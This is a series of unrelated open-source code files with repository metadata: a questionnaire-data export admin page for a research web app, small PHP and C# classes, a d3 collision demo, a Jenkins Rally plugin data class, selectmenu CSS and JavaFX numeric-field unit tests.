<!DOCTYPE html> <!--[if lt IE 7 ]> <html class="ie ie6" lang="en"> <![endif]--> <!--[if IE 7 ]> <html class="ie ie7" lang="en"> <![endif]--> <!--[if IE 8 ]> <html class="ie ie8" lang="en"> <![endif]--> <!--[if (gte IE 9)|!(IE)]><!--> <html class="not-ie" lang="en" xmlns:th="http://www.thymeleaf.org"> <!--<![endif]--> <head th:include="fragment/common :: headerFragment"/> <body> <section id="header" class="clearfix" th:include="fragment/common :: topFragment"/> <!-- content starts ================================================== --> <section id="content" class="clearfix"> <div class="container"> <!--spacer here--> <div class="spacer-30px"></div> <h1>Export Status</h1> <h3 th:if="${formsDisabled}">The site is currently disabled!</h3> <p>It has been <span class="bigNumber" th:text="${minutesSinceLastExport}"/> minutes since the last export was run. If this exceeds <span class="bigNumber" th:text="${exportMaxMinutes}"/> minutes, an email will be sent to this projects administrator address.</p> <p>The total number of completed questionnaires is <span class="bigNumber" th:text="${totalRecords}"/>. If this exceeds <span class="bigNumber" th:text="${exportMaxRecords}"/> then this system will be disabled, and participants will receive an error message when they attempt to complete their next session.</p> <h1>Questionnaire Downloads</h1> <div th:if="${downloadsDisabled}"> <p>Downloads are currently disabled in the application's properties file.</p> </div> <div th:unless="${downloadsDisabled}"> <p>Here is a list of all questionnaires, in order of appearance. Click a link to download a spreadsheet of all data from a questionnaire: </p> <ul> <li><a th:href="@{'/questions/DASS21_AS/export'}">DASS-21 AS</a> (Eligibility)</li> <li><a th:href="@{'/questions/credibility/export'}">Credibility Assessment</a></li> <li><a th:href="@{'/questions/demographics/export'}">Demographics</a></li> <li><a th:href="@{'/questions/MH/export'}">Mental Health History</a></li> <li><a th:href="@{'/questions/QOL/export'}">Quality of Life Scale</a>(Satisfaction)</li> <li><a th:href="@{'/questions/RR/export'}">Interpretation bias measure 1</a> (Recognition Ratings)</li> <li><a th:href="@{'/questions/BBSIQ/export'}">Interpretation bias measure 2</a> (BBSIQ / Situtations)</li> <li><a th:href="@{'/questions/DASS21_DS/export'}">DASS-21 DS</a>(Mood Assessment)</li> <li><a th:href="@{'/questions/DD/export'}">Daily Drinking</a></li> <li><a th:href="@{'/questions/DD_FU/export'}">Daily Drinking Follow Up</a></li> <li><a th:href="@{'/questions/OA/export'}">OASIS</a> (Anxiety Review)</li> <li><a th:href="@{'/questions/AnxietyTriggers/export'}">Anxiety Triggers</a></li> <li><a th:href="@{'/questions/SUDS/export'}">SUDS</a> (includes pre and post)</li> <li><a th:href="@{'/questions/ImageryPrime/export'}">Imagery Prime</a> (includes anxious and neutral)</li> <li><a th:href="@{'/questions/Impact/export'}">Impact Questions</a></li> <li><a th:href="@{'/questions/CC/export'}">Compare and Contrast Items</a></li> <li><a th:href="@{'/questions/CIHS/export'}">Change in Help Seeking</a></li> <li><a th:href="@{'/questions/MUE/export'}">Multi User Experience</a></li> <li><a th:href="@{'/questions/ReasonsForEnding/export'}">Reasons for Ending</a> (form available from a link in 18 day email)</li> </ul> <!--divider here--> <div class="spacer-40px"></div> <h1>PIPlayer Download</h1> <p>All PIPlayer data is stored in one large table. <a th:href="@{'/admin/playerData'}">Download PIPlayer Data.</a> </p> <h1>Questionnaires no longer in use</h1> <ul> <li><a th:href="@{'/questions/SA/export'}">State Anxiety</a></li> <li><a th:href="@{'/questions/SAPo/export'}">State Anxiety (Post)</a></li> <li><a th:href="@{'/questions/audit/export'}">Audit</a></li> <li><a th:href="@{'/questions/FU/export'}">Followup</a></li> <li><a th:href="@{'/questions/PUE/export'}">Pilot User Experience</a></li> <li><a th:href="@{'/questions/ReRu/export'}">Reducing Anxiety</a></li> <li><a th:href="@{'/questions/Vivid/export'}">Vividness</a></li> </ul> <!--spacer here--> </div> <div class="spacer-30px"></div> </div> </section> <!-- footer starts ================================================== --> <footer id="footer" class="clearfix" th:include="fragment/common :: footer"/> <!-- copyright starts ================================================== --> <section id="copyright" class="clearfix" th:include="fragment/common :: copyright"/> <!--Javascript ================================================== --> <div th:include="fragment/common :: scripts"/> </body> </html>
rango1900/MindTrails
core/src/main/resources/templates/admin/export.html
HTML
mit
5,272
<?php declare(strict_types=1); namespace App\Modules\Image\Domain; use App\Modules\Generic\Domain\BaseId; class ImageId extends BaseId { }
mchekin/rpg
app/Modules/Image/Domain/ImageId.php
PHP
mit
144
using System; using System.Linq.Expressions; using System.Web.Mvc; namespace Zed.Web.Extensions { /// <summary> /// <see cref="System.Web.Mvc.ModelStateDictionary"/> extension methods /// </summary> public static class ModelStateDictionaryExtensions { /// <summary> /// Indicates if the expression is a valid field for the current model. /// </summary> /// <typeparam name="TModel">The type of the model.</typeparam> /// <typeparam name="TProperty">The property of the model which we are cheking.</typeparam> /// <param name="modelStateDictionary">The model state dictionary.</param> /// <param name="expression">The expression tree representing a property to validate.</param> /// <returns>true if the expression is a valid field for the current model, otherwise false.</returns> public static bool IsValidField<TModel, TProperty>(this ModelStateDictionary modelStateDictionary, Expression<Func<TModel, TProperty>> expression) { if (expression == null) throw new ArgumentNullException("expression"); return modelStateDictionary.IsValidField(ExpressionHelper.GetExpressionText(expression)); } /// <summary> /// Add a model error. /// </summary> /// <typeparam name="TModel">The type of the model.</typeparam> /// <param name="modelStateDictionary">The model state dictionary.</param> /// <param name="expression">The expression tree representing a property to add an error in its state.</param> /// <param name="errorMessage">The error message to add.</param> public static void AddModelError<TModel>(this ModelStateDictionary modelStateDictionary, Expression<Func<TModel, object>> expression, String errorMessage) { if (expression == null) throw new ArgumentNullException("expression"); modelStateDictionary.AddModelError(ExpressionHelper.GetExpressionText(expression), errorMessage); } /// <summary> /// Add a model error. /// </summary> /// <typeparam name="TModel">The type of the model.</typeparam> /// <param name="modelStateDictionary">The model state dictionary.</param> /// <param name="expression">The expression tree representing a property to add an error in its state.</param> /// <param name="exception">The exception to add as an error message container.</param> public static void AddModelError<TModel>(this ModelStateDictionary modelStateDictionary, Expression<Func<TModel, object>> expression, Exception exception) { if (expression == null) throw new ArgumentNullException("expression"); modelStateDictionary.AddModelError(ExpressionHelper.GetExpressionText(expression), exception); } /// <summary> /// Add an element that has the specified key and the value to the model-state dictionary /// </summary> /// <typeparam name="TModel">The type of the model.</typeparam> /// <param name="modelStateDictionary">The model state dictionary.</param> /// <param name="expression">The expression tree representing a property to add an error in its state.</param> /// <param name="value">The value of the element to add.</param> public static void Add<TModel>(this ModelStateDictionary modelStateDictionary, Expression<Func<TModel, object>> expression, ModelState value) { if (expression == null) throw new ArgumentNullException("expression"); modelStateDictionary.Add(ExpressionHelper.GetExpressionText(expression), value); } } }
ztepsic/zed.web
Zed.Web/Extensions/ModelStateDictionaryExtensions.cs
C#
mit
3,659
var canvas = document.querySelector("canvas"), context = canvas.getContext("2d"), width = canvas.width, height = canvas.height, radius = 20; var circles = d3.range(324).map(function(i) { return { x: (i % 25) * (radius + 1) * 2, y: Math.floor(i / 25) * (radius + 1) * 2 }; }); var simulation = d3.forceSimulation(circles) .force("collide", d3.forceCollide(radius + 1).iterations(4)) .on("tick", drawCircles); d3.select(canvas) .call(d3.drag() .container(canvas) .subject(dragsubject) .on("start", dragstarted) .on("drag", dragged) .on("end", dragended)); function drawCircles() { context.clearRect(0, 0, width, height); context.save(); context.beginPath(); circles.forEach(drawCircle); context.fill(); context.strokeStyle = "#fff"; context.stroke(); } function drawCircle(d) { context.moveTo(d.x + radius, d.y); context.arc(d.x, d.y, radius, 0, 2 * Math.PI); } function dragsubject() { return simulation.find(d3.event.x, d3.event.y, radius); } function dragstarted() { if (!d3.event.active) simulation.alphaTarget(0.3).restart(); d3.event.subject.fx = d3.event.subject.x; d3.event.subject.fy = d3.event.subject.y; } function dragged() { d3.event.subject.fx = d3.event.x; d3.event.subject.fy = d3.event.y; } function dragended() { if (!d3.event.active) simulation.alphaTarget(0); d3.event.subject.fx = null; d3.event.subject.fy = null; }
FluxLemur/fluxlemur.github.io
scripts/collision.js
JavaScript
mit
1,461
package com.jenkins.plugins.rally.connector; import hudson.scm.EditType; import java.io.PrintStream; import java.util.List; import static com.google.common.collect.Lists.newArrayList; public class RallyUpdateData { public static class FilenameAndAction { public String filename; public EditType action; } public static class RallyId { private String name; public RallyId(String id) { this.name = id; } public String getName() { return this.name; } public boolean isStory() { return this.name.toLowerCase().startsWith("us"); } } private String msg; private String revision; private String timeStamp; private List<RallyId> ids = newArrayList(); private List<FilenameAndAction> filenamesAndActions; private PrintStream out; private String origBuildNumber; private String currentBuildNumber; private String taskID = ""; private String taskIndex = ""; private String taskStatus = ""; private String taskToDO = ""; private String taskEstimates = ""; private String taskActuals = ""; private String buildUrl = ""; private String buildName = "Default Build Name"; public String getBuildName() { return buildName; } public void setBuildName(String buildName) { this.buildName = buildName; } public String getBuildStatus() { return buildStatus; } public void setBuildStatus(String buildStatus) { this.buildStatus = buildStatus; } private String buildStatus = ""; public String getBuildUrl() { return buildUrl; } public void setBuildUrl(String buildUrl) { this.buildUrl = buildUrl; } public double getBuildDuration() { return buildDuration; } public void setBuildDuration(double buildDuration) { this.buildDuration = buildDuration; } public String getBuildMessage() { return buildMessage; } public void setBuildMessage(String buildMessage) { this.buildMessage = buildMessage; } private double buildDuration = 0; private String buildMessage = ""; public String getMsg() { return msg; } public void setMsg(String msg) { this.msg = msg; } public String getRevision() { return revision; } public void setRevision(String revision) { if(revision == null) this.revision = "0"; else this.revision = revision; } public String getTimeStamp() { return timeStamp; } public void setTimeStamp(String timeStamp) { this.timeStamp = timeStamp; } public List<RallyId> getIds() { return ids; } public void addId(String id) { this.ids.add(new RallyId(id)); } public void addIds(List<String> ids) { for (String id : ids) { this.ids.add(new RallyId(id)); } } public List<FilenameAndAction> getFilenamesAndActions() { return filenamesAndActions; } public void setFilenamesAndActions(List<FilenameAndAction> filenamesAndActions) { this.filenamesAndActions = filenamesAndActions; } public PrintStream getOut() { return out; } public void setOut(PrintStream out) { this.out = out; } public String getOrigBuildNumber() { return origBuildNumber; } public void setOrigBuildNumber(String origBuildNumber) { this.origBuildNumber = origBuildNumber; } public String getCurrentBuildNumber() { return currentBuildNumber; } public void setCurrentBuildNumber(String currentBuildNumber) { this.currentBuildNumber = currentBuildNumber; } public String getTaskID() { return taskID; } public void setTaskID(String taskID) { this.taskID = taskID; } public String getTaskIndex() { return taskIndex; } public void setTaskIndex(String taskIndex) { this.taskIndex = taskIndex; } public String getTaskStatus() { return taskStatus; } public void setTaskStatus(String taskStatus) { this.taskStatus = taskStatus; } public String getTaskToDO() { return taskToDO; } public void setTaskToDO(String taskToDO) { this.taskToDO = taskToDO; } public String getTaskEstimates() { return taskEstimates; } public void setTaskEstimates(String taskEstimates) { this.taskEstimates = taskEstimates; } public String getTaskActuals() { return taskActuals; } public void setTaskActuals(String taskActuals) { this.taskActuals = taskActuals; } }
jenkinsci/rally-plugin
src/main/java/com/jenkins/plugins/rally/connector/RallyUpdateData.java
Java
mit
4,764
/* Selectmenu ----------------------------------*/ .ui-selectmenu { background:none; font-size:12px;display: block; display: inline-block; position: relative; height: 2.2em; vertical-align: middle; text-decoration: none; overflow: hidden; zoom: 1; } .ui-selectmenu-icon { position:absolute; right:6px; margin-top:-8px; top: 50%; } .ui-selectmenu-menu { padding:0; margin:0; position:absolute; top: 0; display: none; z-index: 1005;} /* z-index: 1005 to make selectmenu work with dialog */ .ui-selectmenu-menu ul { padding:0; margin:0; list-style:none; position: relative; overflow: auto; overflow-y: auto ; overflow-x: hidden; } .ui-selectmenu-open { display: block; } .ui-selectmenu.ui-widget { background:none; } .ui-selectmenu-menu-popup { margin-top: -1px; } .ui-selectmenu-menu-dropdown { } .ui-selectmenu-menu li.ui-state-active { background:#F7FBFC; border:none; padding:1px 0;} .ui-selectmenu-menu li { padding:0; margin:0; display: block; border-top: 1px dotted transparent; border-bottom: 1px dotted transparent; border-right-width: 0 !important; border-left-width: 0 !important; font-weight: normal !important; } .ui-selectmenu-menu li a,.ui-selectmenu-status { line-height: 1.4em; display: block; padding: .405em 2.1em .405em 1em; outline:none; text-decoration:none; } .ui-selectmenu-menu li.ui-state-disabled a, .ui-state-disabled { cursor: default; } .ui-selectmenu-menu li.ui-selectmenu-hasIcon a, .ui-selectmenu-hasIcon .ui-selectmenu-status { padding-left: 20px; position: relative; margin-left: 5px; } .ui-selectmenu-menu li .ui-icon, .ui-selectmenu-status .ui-icon { position: absolute; top: 1em; margin-top: -8px; left: 0; } .ui-selectmenu-status { line-height: 1.4em; } .ui-selectmenu-open li.ui-selectmenu-item-focus { background: none repeat scroll 0 0 #FFF6BF; border:1px solid #eaeaea;} .ui-selectmenu-open li.ui-selectmenu-item-selected { } .ui-selectmenu-menu li span,.ui-selectmenu-status span { display:block; margin-bottom: .2em; } .ui-selectmenu-menu li .ui-selectmenu-item-header { font-weight: bold; } .ui-selectmenu-menu li .ui-selectmenu-item-content { } .ui-selectmenu-menu li .ui-selectmenu-item-footer { opacity: .8; } /* for optgroups */ .ui-selectmenu-menu .ui-selectmenu-group { font-size: 1em; } .ui-selectmenu-menu .ui-selectmenu-group .ui-selectmenu-group-label { line-height: 1.4em; display:block; padding: .6em .5em 0; font-weight: bold; } .ui-selectmenu-menu .ui-selectmenu-group ul { margin: 0; padding: 0; } /* IE6 workaround (dotted transparent borders) */ * html .ui-selectmenu-menu li { border-color: pink; filter:chroma(color=pink); width:100%; } * html .ui-selectmenu-menu li a { position: relative } /* IE7 workaround (opacity disabled) */ *+html .ui-state-disabled, *+html .ui-state-disabled a { color: silver; }
double-z/gitlab-viewer
app/assets/stylesheets/jquery.ui.selectmenu.css
CSS
mit
2,770
/** * (c) raptor_MVK, 2015. All rights reserved. */ package ru.mvk.jfx_wrapper; import javafx.scene.Node; import javafx.scene.Parent; import javafx.scene.control.TextField; import javafx.scene.layout.HBox; import org.jetbrains.annotations.NotNull; import org.junit.Assert; import org.junit.Test; public class JFXNumFieldTest extends UITest { @NotNull private final String id = "num_field"; private final int width = 5; @NotNull private HBox root; @NotNull private JFXNumField jfxNumField; @Test public void getNode_returnsTextField() { Assert.assertTrue("getNode() should return instance of TextField", findById(id) instanceof TextField); } @Test public void setValue_shouldSetTextFieldText() { @NotNull TextField textField = findById(id); @NotNull String expectedValue = "1234"; jfxNumField.setValue(expectedValue); Assert.assertEquals("setValue(s) should set text to s for TextField", expectedValue, textField.getText()); } @Test public void getValue_shouldReturnTextFieldText() { @NotNull TextField textField = findById(id); @NotNull String expectedValue = "4575"; textField.setText(expectedValue); Assert.assertEquals("getValue() should return text from TextField", expectedValue, jfxNumField.getValue()); } @Test public void requestFocus_shouldRequestFocusForTextField() { @NotNull TextField textField = findById(id); JFXUtils.runAndWait(root::requestFocus); JFXUtils.runAndWait(jfxNumField::requestFocus); Assert.assertTrue("requestFocus() should set focus on TextField", textField.isFocused()); } @Test public void shortNumericInput_shouldPutWholeTextIntoTextField() { @NotNull String inputText = "254"; clickById(id).type(inputText); Assert.assertEquals("short numeric input should put whole text into " + "TextField", inputText, jfxNumField.getValue()); } @Test public void shortMixedInput_shouldPutFilteredTextIntoTextField() { @NotNull String inputText = "photo2many5fill4"; @NotNull String expectedValue = inputText.replaceAll("\\D", ""); clickById(id).type(inputText); Assert.assertEquals("short mixed input should put filtered text into " + "TextField", expectedValue, jfxNumField.getValue()); } @Test public void longNumericInput_shouldPutTruncatedTextIntoTextField() { @NotNull String inputText = "3473237327"; @NotNull String expectedValue = inputText.substring(0, width); clickById(id).type(inputText); Assert.assertEquals("long numeric input should put truncated text into " + "TextField", expectedValue, jfxNumField.getValue()); } @Test public void longMixedInput_shouldPutFilteredAndTruncatedTextIntoTextField() { @NotNull String inputText = "zeal23factory46triple346"; @NotNull String expectedValue = inputText.replaceAll("\\D", "").substring(0, width); clickById(id).type(inputText); Assert.assertEquals("long mixed input should put filtered and truncated " + "text into TextField", expectedValue, jfxNumField.getValue()); } @Test public void shortNumericPasteFromClipboard_shouldPutWholeTextIntoTextField() { @NotNull String inputText = "3463"; putToClipboard(inputText); pasteFromClipboardById(id); Assert.assertEquals("short numeric paste from the clipboard should put " + "whole text into TextField", inputText, jfxNumField.getValue()); } @Test public void longNumericPasteFromClipboard_shouldMakeTextFieldEmpty() { @NotNull String inputText = "Boring and pitiful"; putToClipboard(inputText); pasteFromClipboardById(id); Assert.assertEquals("long numeric paste from the clipboard should make " + "TextField empty", "", jfxNumField.getValue()); } @Test public void inputWhenSelectedText_shouldReplaceTextFieldSelectedText() { @NotNull TextField textField = findById(id); @NotNull String expectedValue = "7"; textField.setText("3456"); selectAllById(id); type(expectedValue); Assert.assertEquals("input when text is selected should replace " + "selected text in TextField", expectedValue, jfxNumField.getValue()); } @Test public void longPasteWhenSelectedText_shouldNotChangeTextFieldText() { @NotNull TextField textField = findById(id); @NotNull String expectedValue = "2346"; putToClipboard("568468"); textField.setText(expectedValue); selectAllById(id); pasteFromClipboardById(id); Assert.assertEquals("long paste from the clipboard when text is " + "selected should not change text", expectedValue, jfxNumField.getValue()); } @Test public void inputIntoBeginningOfFilledField_shouldNotMoveTextFieldCaret() { @NotNull TextField textField = findById(id); textField.setText("34564"); type("2"); Assert.assertEquals("input into the beginning of filled field should not " + "move caret", 0, textField.getCaretPosition()); } @Test public void inputIntoMiddleOfFilledField_shouldNotMoveTextFieldCaret() { @NotNull TextField textField = findById(id); int caretPosition = 3; textField.setText("54845"); textField.positionCaret(caretPosition); type("2"); Assert.assertEquals("input into the middle of filled field should not " + "move caret", caretPosition, textField.getCaretPosition()); } @Test public void inputIntoEndOfFilledField_shouldNotMoveTextFieldCaret() { @NotNull TextField textField = findById(id); textField.setText("56895"); textField.positionCaret(width); type("1"); Assert.assertEquals("input into the end of filled field should not move " + "caret", width, textField.getCaretPosition()); } @Test public void pasteIntoBeginningOfFilledField_shouldNotMoveTextFieldCaret() { @NotNull TextField textField = findById(id); textField.setText("45678"); putToClipboard("3456"); pasteFromClipboardById(id); Assert.assertEquals("paste into the beginning of filled field should not " + "move caret", 0, textField.getCaretPosition()); } @Test public void pasteIntoMiddleOfFilledField_shouldNotMoveTextFieldCaret() { @NotNull TextField textField = findById(id); int caretPosition = 2; textField.setText("65866"); textField.positionCaret(caretPosition); putToClipboard("9078"); pasteFromClipboardById(id); Assert.assertEquals("paste into the middle of filled field should not " + "move caret", caretPosition, textField.getCaretPosition()); } @Test public void pasteIntoEndOfFilledField_shouldNotMoveTextFieldCaret() { @NotNull TextField textField = findById(id); textField.setText("56745"); textField.positionCaret(width); putToClipboard("546"); pasteFromClipboardById(id); Assert.assertEquals("paste into the end of filled field should not move " + "caret", width, textField.getCaretPosition()); } @Test public void longPasteIntoFilledSelectedField_shouldNotMoveTextFieldCaret() { @NotNull TextField textField = findById(id); int caretPosition = 4; textField.setText("95672"); textField.selectRange(caretPosition - 3, caretPosition); putToClipboard("34555"); pasteFromClipboardById(id); Assert.assertEquals("long paste into the filled field with selected text " + "should not move caret", caretPosition, textField.getCaretPosition()); } @Override @NotNull protected Parent getRootNode() { root = new HBox(); jfxNumField = new JFXNumField(width); @NotNull Node node = jfxNumField.getNode(); node.setId(id); root.getChildren().add(node); return root; } }
raptor-mvk/JFX-Wrapper
tst/ru/mvk/jfx_wrapper/JFXNumFieldTest.java
Java
mit
8,238